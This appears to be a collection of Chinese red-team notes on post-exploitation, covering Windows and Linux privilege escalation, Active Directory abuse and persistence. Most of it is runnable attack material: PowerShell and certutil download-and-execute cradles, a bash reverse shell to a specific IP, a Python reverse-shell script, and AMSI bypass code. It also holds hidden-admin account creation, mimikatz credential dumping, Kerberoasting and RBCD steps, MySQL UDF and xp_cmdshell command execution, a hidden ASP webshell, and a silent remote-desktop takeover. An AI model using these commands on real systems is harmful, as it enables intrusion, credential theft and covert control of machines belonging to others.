一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
1.代理池
cdn端到端 域前置ssl
profile
ping命令确定目标出网情况
尝试执行powershell命令直接上线cs
powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/x'))
使用证书下载尝试下载木马到服务器执行
certutil.exe -urlcache -split -f http://x.x.x.x/x.exe D:\x.exe
iis的命令执行权限
利用烂土豆插件成功提权至system权限
Powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal - w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w No rmal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('h‘+’ttp://x.x.x.x/a')
taowu->权限提升->juicypotato
nt authority\system
server2012服务器 无法读取明文密码
激活guest用户
net user guest /active:yes
net user guest tide@123456
net localgroup administrators guest /add
搭建socks5隧道(nps,frp)
https://mp.weixin.qq.com/s/ph09jS2P883_4K49AYEEOg
ms14-058 CVE-2014-4113 驱动漏洞远程代码执行提权
server 2008
该漏洞影响了所有的Windows版本,
包括Windows7 和 Windows Server 2008 R2 及以下版本。
造成该漏洞原因是当 Windows 内核模式驱动程序 (win32k.sys) 不正确地处理内存中的对象时,会导致该漏洞。
msf CVE-2020-0787
Windows全版本本地提权漏洞
MS16-075烂土豆提权
execute-assembly CobaltStrike从内存加载.NET程序集
nt authority\system
将System权限上线到CobaltStrike
阿里云的ECS,对出站端口进行了限制,所以反弹不回来
https://mp.weixin.qq.com/s/_yL8htI1yqOJroev3eC_2A
创建一个管理员账户,然后3389远程桌面连接
利用Procdump+mimikatz获取到Administrator账户的明文密码。
(因为是win2008的服务器,所以可以获取到明文密码,08之后的服务器获取到的就是密文的了)
横向端口135,139,445
单点登录 中央认证系统
Procdump+mimikatz配合抓取密码Procdump是微软官方工具,不会被杀软查杀,
其抓取密码的原理是获取内存文件 lsass.exe 进程 (它用于本地安全和登陆策略) 中存储的明文登录密码并存储到lsass.dmp文件中,
之后我们就可以使用mimikatz去读取lsass.dmp获取到明文密码。
win10或2012R2以上操作要麻烦一些
远程桌面时,为了能够将我们本地的程序或文件拷贝到远程的主机上,应在本地资源中勾选上驱动器
读写目录的探测Read_and_Write
虚拟主机,磁盘权限设置较为严格,cmd.exe被降权执行不了命令,常见可读写目录也不能读,
这时就需要用到探测可读写的脚本来查找可读写的目录和文件,用于上传cmd.exe和提权EXP等。
可读写的系统文件上传覆盖执行
VHAdmin虚拟主机提权实战案例https://mp.weixin.qq.com/s/LmXi6niSJ4s-Cmq3jWSjaQ
常见可读写目录
扫描可读写目录
C:\Users\
C:\Windows\
C:\ProgramData\
C:\Program Files\
C:\Program Files (x86)\
C:\Documents and Settings\
≤2003可读写目录
C:\RECYCLER\
D:\RECYCLER\
E:\RECYCLER\
C:\Windows\temp\
C:\Windows\Debug\
C:\Windows\Registration\CRMLog\
C:\Documents and Settings\All Users\Documents\
≥2008可读写目录
C:\ProgramData\
C:\Windows\temp\
C:\Windows\Tasks\
C:\Windows\tracing\ //不可删
C:\Windows\debug\WIA\
C:\Windows\servicing\Sessions\
C:\Windows\servicing\Packages\
C:\Windows\Registration\CRMLog\
C:\Windows\System32\spool\drivers\color\
C:\Users\Default\AppData\ //不可删
C:\ProgramData\Microsoft\DeviceSync\
C:\ProgramData\Microsoft\Crypto\DSS\MachineKeys\
C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\
C:\ProgramData\Microsoft\User Account Pictures\ //不可删
C:\Users\All Users\Microsoft\NetFramework\BreadcrumbStore\ //不可删
C:\ProgramData\Microsoft\Windows\WER\ReportArchive\
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\
C:\Windows\syswow64\tasks\microsoft\Windows\pla\system\
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Temporary ASP.NET Files\
C:\Windows\System32\catroot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\
C:\Windows\System32\catroot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\
开启了disable_function,disable_functions是php.ini中的一个设置选项,
可以用来设置PHP环境禁止使用某些函数
用来禁用某些危险的命令执行函数等。
(eval并非PHP函数,放在disable_functions中是无法禁用的,若要禁用需要用到PHP的扩展Suhosin。)
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
项目地址:https://github.com/mm0r1/exploits
直接绕过了可以执行命令
bash反弹
bash+-i+>%26+/dev/tcp/112.74.50.219/7777+0>%261
在frp反向代理到meterpreter
查看内核
msf自带的提权并没有成功直接使用CVE-2021-4034 Polkit Pkexec本地提权
https://github.com/berdav/CVE-2021-4034
上传编译直接运行
一开始没有成功仔细看了下有个tmp目录已经存在
直接删除
运行返回root权限。
启动guest三件套:
激活Guest用户
net user guest /active:yes修改Guest的密码
net user guest Guest@123将Guest加入管理员组
net localgroup administrators guest /add
会话传递
CobaltStrike与Metasploit之间的会话传递
https://mp.weixin.qq.com/s/_yL8htI1yqOJroev3eC_2A 记首次HW|某地级市攻防演练红队渗透总结
穿透中转负载均衡上线
域前置 cdn
profile
端到端ssl证书
内核提权
SUDO提权
得到登陆凭证
https://gtfobins.github.io/
sudo -l
sudo find . -exec /bin/sh \; -quit
KeyTabExtract 提取内容 提取主机凭证NTLM
python3 keytabextract.py krb5.keytab
得到AES 哈希HASH
域上下文 枚举 收集域信息
bloodhound-python3 -c ALL -u 'WEB01$DBLACKOPS.LOCAL' --hashes 00000000000000000000000000000000:NTLM HASH -d BLACKOPS.LOCAL -ns ip --dns-tcp 内网有用
socket5 只允许tcp访问
connect LDAP 获取server信息
域 森林
Active directory user and computer
BloodHound 是一个强大的内网域渗透提权分析工具
搜索域用户 - 本地用户 共用密码
SUID 提权 枚举
find / -type f -pern /4000 2>/dev/null
多个二进制文件设置了 SUID
/usr/bin/cat
/usr/bin/wget
tcpdump 提权
cd /home
ls -al 查看成员
通过find提权
find . -exec /bin/sh -p \; -quit
查找helen 登录ftp的域用户
tcpdump嗅探 明文
tcpdump -i ens33 dst post
嗅探ftp 21端口 流量中的 密码 Summer2022!
xfreerdp /u:helen.park /p:Summer2022! /d:blackops.local /cert:ignore /v:ip /dynanic-resolution
所在群组 访问什么主机
outbount control rights
其他用户的特权 修改密码
SPN 是服务在使用 Kerberos 身份验证的网络上的唯一标识符,它由服务类、主机名和端口组成。
授予SPN变成服务账号
组策略
ACL一般指访问控制列表。
访问控制列表(ACL)是一种基于包过滤的访问控制技术,它可以根据设定的条件对接口上的数据包进行过滤,允许其通过或丢弃。
创建会话
runas /netonly /user:blackops\russell.adler powershell
password
C:\Windows\Tasks
'amsiutils'
.net AMSI绕过
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iutils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}};$f.SetValue($null,$true)
导入powerview
iex(new-object net.webclient).downloadstring('http://ip/Invoke-PowerShellTcp.ps1');
powerview.ps1
ForceChangePassword 权限
Set-DomainUserPassword -Identity frank.woods -AccountPassword (ConvertTo-SecureString 'Passw0rd' -AsPlainTest -Force) -Verbose
GenericWrite 权限
用新改的 创建会话
一句话绕过
导入powerview.ps1
设置SPN
Set-DomainObject -Identity ir_operator -set @{serviceprincipalname='fake/client01'}
对其 Kerberoasting
导入
iex(new-object net.webclient).downloadstring('http://ip/adpeas.ps1');
动静大 不建议使用
invoke-adpeas
已经有了 hashcat的格式 得到凭证
hashcat -a 0 -m 13100 hash.txt dict/rockyou.txt
密码重用 创建会话
绕过AMSI
加载powermad.ps1
创建新的主机账号
New-MachineAccount -MachineAccount rbcd -Password $(ConvertTo-secureString '123' -AsPlainText -Force)
[+] Machine account rbcd added
GenericWrite 权限 可以利用 RBCD
下载 rubeus 到内存 调用
计算主机
NTLM是NT LAN Manager的缩写,这也说明了协议的来源。
NTLM 是指 telnet 的一种验证身份方式,即问询/应答身份验证协议,是 Windows NT 早期版本的标准安全协议,
Windows 2000 支持 NTLM 是为了保持向后兼容。Windows 2000内置三种基本安全协议之一。
Microsoft.ActiveDirectory.Management.dll 使服务器信任我们创建的主机
iwr http://ip:port/ad.dll -o ad.dll
ipmo .\ad.dll
Set-ADComputer srv01 -PrincipalsAllowedToDelegateToAccount rbcd$ -Server ip -Verbose
VERBOSE:
加载powerview.ps1
内存执行
查看
get-netcomputer -identity srv01
msds-allowedtoactonbehalfofotheridentity
信任主机账号 rbcd$
对HASH有控制权
滥用
$data=(New-Object System.Net.Webclient).DownloadData('http:ip:port/rubeus.exe')
下载到内存
载入内存
$assem = [System.Reflection.Assembly]::Load($data)
$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
[DllImport("kernel32")]
public static extern IntPtr GetProAddress(IntPtr hModule, string proName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress,UIntPtr dwSize,uint flNewProtest);
}
"@
Add-Type $ZQCUW
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
https://www.bilibili.com/video/BV1qf4y1f7xB?spm_id_from=333.337.search-card.all.click&vd_source=f21773b7086456ae21a58a6cc59023be
权限维持稳固
管理 密码 hash
32/64
收集 服务配置密码
mysql
mssql
tomcat
管理员 行为 记录
浏览器
mstsc
管理行为记录
web后门 隐藏
将shell写入图片 include包含
隐藏在jpg图片EXif中的后门
创建隐藏的文件夹 写入shell
C:\Intelpub\wwwroot>md C:\Intelpub\wwwroot\a..\
C:\Intelpub\wwwroot>echo "<%execute(request("1"))%>" >\\.\ C:\Intelpub\wwwroot\a..\aux.asp
shell 地址: http://ip/a./aux.asp
win2003 webshell权限
aspx脚本无效
Easy File locker 驱动 隐藏文件
win2003
提权
windows
EXP 溢出
能否执行命令
32 64 exp 收集
Linux
exp
- 无法反弹 如何提权
jsp容器
可能root
mysql
root
cat /etc/password
ps aux |grep root
进程 溢出
探测其他脚本
php 是否 system权限
jspshell 看权限是否 system
mysql 提权
root提权
udf提权
MOF提权
mssql提权
- sa权限 xp_cmdshell
- db_owner提权
在db_owner所在管理 表中
创建触发器
等管理员 用sa 去执行 插入表命令 触发提权
oracle提权
- DBA权限
利用java 访问系统文件、执行命令
- 低权限
获取os访问权限
域内本地凭证 关键文件收集
星外提权
pcanywhere提权
servu提权
windows 远控
anydesk远控
远控软件–Todesk
https://www.todesk.com/download.html
支持静默安装
命令行参数调用
ToDesk_Setup.exe /S
ToDesk.exe -setpassword password
设置安全密码
@echo off
for /f "delims=" %%i in ('"E:\ToDesk\ToDesk.exe" -status') do echo %%i
pause
windows2012R2
administrator
C:/inetpub>
C:\Program Files (x86)\ToDesk
不出意外的话会设置好安全密码以及输出连接的识别码
目标机器已安装了todesk
这种意外情况对于我们来说就挺,应该是那种想到了开心的事的感觉。其实在这里要说的是另一种方法获取识别码以及连接密码,我们只需要找到todesk的根目录即可,然后查看config.ini,在cinfig.ini可以找到识别码以及加密的密码。
对于加密的密码我们可以复制到本地的todesk配置文件里,替换我们本地的密码,然后重新打开todesk,这样就能得倒对方机器的连接密码。
直接kill todesk进程(一定要杀ToDesk_Service.exe)然后给目标机器修改config文件,替换成我们设置的密码
需要管理员权限,目标机器锁屏需要密码,体积太大,容易被发现等问题
Bash解析 破壳漏洞
C:\Users\amingMM\Desktop\xxx.elf
往往 拿下服务器的web服务只是具有低权限用户(www-data)
对于内网渗透,我们需要提权到root
提升权限是非常关键的一步,
攻击者往往可以通过利用内核漏洞/权限配置不当/root权限运行的服务等方式寻找突破点,
来达到提升权限的目的。
linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置。
先查看是否可以使用内核漏洞进行提权。先对系统做个了解
#查看发行版本
cat /etc/issue
cat /etc/*-release
# 查看内核版本
uname -a
# 查看系统发行版本 Ubuntu
lsb_release -a
寻找内核溢出代码使用searchsploit
gcc xxx.c -o exploit
chmod +x exploit
./exploit
内核溢出的提权,不过一般用不上。
大多linux系统的密码都和/etc/passwd、/etc/shadow这两个配置文件相关的;
passwd里面储存了用户,
shadow里面是密码的hash;
且passwd是全用户可读,root可写。
shadow是仅root可以进行读写的。
破解linux用户名和对应的密码
使用John
这个工具来破解。
可以在root权限下查看密码(前提是不知道root密码)
系统内可能会有一些定时执行的任务,
一般这些任务由crontab来管理,
具有所属用户的权限。
非root权限的用户是不可以列出root用户的计划任务的。
但是/etc/内系统的计划任务可以被列出
默认这些程序以root权限执行,
如果刚好遇到一个把其中脚本配置成可以任意用户可写的,
这个时候就可以修改脚本等回连rootshell;
如果定时执行的文件时python脚本,可以使用下面的脚本来替换之前的脚本。
#!/usr/bin/python
import os,subprocess,socket
s=socket.socekt(sicket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.4","4444"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
查看/etc/crontab
有无可写权限的文件
linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入,
也就是说sudo在输入密码的时候本质是读取键盘,而不是bash里面的字符。
因此要输入密码,还需要一个终端设备。python有这种功能的,就是模拟化终端,输入
python -c "import pty;pty.spawn('/bin/bash')"
看到是已经启动了虚拟终端
ssh 登录
ssh xxx@ip
利用zip进行提权
sudo -l查看了当前可以使用root提权的命令信息。
Matching Defaults entries for zico on this host:
env_reset, exempt_group=admin,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User zico may run the following commands on this host:
(root) NOPASSWD: /bin/tar
(root) NOPASSWD: /usr/bin/zip
可以使用zip进行提权
touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"
dbo 权限 备份数据库 不可以 执行命令
SESHELL
mdb 注册表 操作 执行命令
安装问题
默认在 系统管理员 下 安装
以服务 启动
备份数据库 就 会有 文件
mof 定时 都可以 提权
远程 执行命令 反弹 shell 回来 *(攻击机 监听端口 )
● Linux UDF
通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限
sleep(),sum(),ascii()
用户自定义函数
自己写方便自己函数,它有3种返回值,
分别是STRING字符型,INTEGER整型,REAL 实数型
-掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限
版本大于5.1的udf.dll放到mysql安装目录的libplugin文件夹才能创建自定义函数。目录默认是不存在的需要自己创建,在安装目录下创建libplugin文件夹,然后将udf.dll导出到这个目录。
mysql版本大于5.1,
udf.dll文件必须放置在mysql安装目录的lib plugin文件夹下
mysql版本小于5.1,
udf.dll文件在 windows server 2003下放置于c:windows system32目录,
在windows server - - 2000下放置在c:winnt system32目录。
首先、查看一下MySQL是32位的还是64位的,查看这个有几种方式:
mysql -V
mysql --version
进入MySQL数据库中,执行:
show variables like '%datadir%';
-- C:\ProgramData\MySQL\MySQL Server 5.7\Data\
show variables like '%version_%';
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
drop function cmdshell;
select cmdshell('netstat -an');
要求 root 权限
mof 是 win系统自带 漏洞
Mysql漏洞利用(越权, 从低权限拿到root密码)
无法通过Load_file读文件
或者通过into dumpfile 或者into outfile去写文件
通过load data infile可以读取本地文件到数据库,这样子我们就可以在低权限下通过这个bug去读取服务器上的文件
读取mysql的数据库文件,mysql库的user表里存放着所有用户的hash
LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by '';
select * from test2;
用winhex打开一下user.myd文件
被00字符给截断了,导致后面的东西都没进数据库。
下面就想办法绕过这个限制。
经过几次尝试发现,在后面加上LINES TERMINATED BY ‘’ 即可,这样子就把截断符号作为分隔符处理了,完整的语句
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY '';
exploit —>windows溢出利用
虚拟连接提权
一句话木马提权
通过资产扫描弱口令 FTP Mysql Redis ssh RPC
由于 root 权限 免了低高权限 UDP 提权
i春秋\05 提权与内网渗透\
脏牛漏洞
第三方软件 提权 - pr提权
sqlserver SA xp cmd shell
mysql udf 插件提权 确权MOF 替换文件 提权
dll文件 加载
ftp 输入法 vnc 配置
输入法 替换exe 重启 自动加载
xp_cmdshell提权
xp_cmdshell是Sql Server中的一个组件,将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认禁止,但未删除
2005的xp_cmdshell的权限一般是system,
而2008多数为nt authority\network service。
故xp_cmdshell的提权前提为两个:(1)拿到sa权限的账户密码;(2)sqlserver服务未降权
只要该数据库存在该组件,就可以利用
查看xp_cmdshell状态
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回1表示xp_cmdshell组件启用
如果没有启用,则开启该组件,命令为:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
同样,关闭组件命令为
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE
执行系统命令如下(任意一条都可以)
exec xp_cmdshell "whoami"
master..xp_cmdshell 'whoami' (2008版上好像用不了)
EXEC master..xp_cmdshell "whoami"
EXEC master.dbo.xp_cmdshell "ipconfig" ------------------
已取得内部服务器sql server 的sa 权限
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"
https://blog.csdn.net/guo15890025019/article/details/119055233
只允许本地连接的SQL Server数据库提权
命令行连接工具osql和sqlcmd尝试去连
冰蝎的数据库管理模块能连上,但执行提权操作
蚁剑中也是能连上,执行提权操作时提示“ODBC 驱动程序不支持所需的属性错误”
上传大马提权
nt authority\network service
https://github.com/antonioCoco/JuicyPotatoNG